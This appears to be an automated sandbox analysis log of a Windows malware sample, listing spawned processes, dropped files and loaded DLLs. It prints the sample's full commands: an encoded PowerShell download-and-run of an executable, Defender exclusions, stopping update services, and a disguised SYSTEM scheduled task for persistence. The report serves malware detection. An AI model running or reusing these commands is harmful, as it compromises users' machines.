Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002086F9DB23C	39_2_000002086F9DB23C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002086F9E1658	39_2_000002086F9E1658
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002087006BE3C	39_2_000002087006BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_0000020870072258	39_2_0000020870072258
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002087006FEF8	39_2_000002087006FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002087006BC30	39_2_000002087006BC30
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_0000020870062CDC	39_2_0000020870062CDC
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017183BCF2F8	40_2_0000017183BCF2F8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017183BD1658	40_2_0000017183BD1658
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017183BCB23C	40_2_0000017183BCB23C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017183BC20DC	40_2_0000017183BC20DC
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017183BCB030	40_2_0000017183BCB030
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001718426BC30	40_2_000001718426BC30
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017184262CDC	40_2_0000017184262CDC
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001718426BE3C	40_2_000001718426BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_0000017184272258	40_2_0000017184272258
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001718426FEF8	40_2_000001718426FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3F81658	41_2_0000023FD3F81658
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3F7B23C	41_2_0000023FD3F7B23C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3F720DC	41_2_0000023FD3F720DC
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3F7B030	41_2_0000023FD3F7B030
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3F7F2F8	41_2_0000023FD3F7F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FB2258	41_2_0000023FD3FB2258
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FABE3C	41_2_0000023FD3FABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FA2CDC	41_2_0000023FD3FA2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FABC30	41_2_0000023FD3FABC30
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FAFEF8	41_2_0000023FD3FAFEF8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp 4F698FB3C8100837ACB42BEE30B7B0C362BCF6D3C617880BEDC86E1D57C25D11

Source: nhylsjsvllxf.tmp.4.dr

Static PE information: Resource name: DLL type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Source: updater.exe.4.dr	Static PE information: Number of sections : 11 > 10
Source: svc.exe.1.dr	Static PE information: Number of sections : 11 > 10

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe, 00000000.00000002.1660092965.0000000000706000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenamePowerShell.EXEj% vs SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.adwa.spyw.evad.winEXE@38/76@2/3

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD412328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

16_2_00007FF6CD412328

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD411AC4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

16_2_00007FF6CD411AC4

Source: C:\Windows\System32\dialer.exe

16_2_00007FF6CD412328

Source: C:\Users\user\AppData\Local\Temp\svc.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hctnl21w.wgh.ps1

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\svc.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	ReversingLabs: Detection: 65%
Source: SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Virustotal: Detection: 67%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA="
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\svc.exe "C:\Users\user\AppData\Local\Temp\svc.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA="	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\svc.exe "C:\Users\user\AppData\Local\Temp\svc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
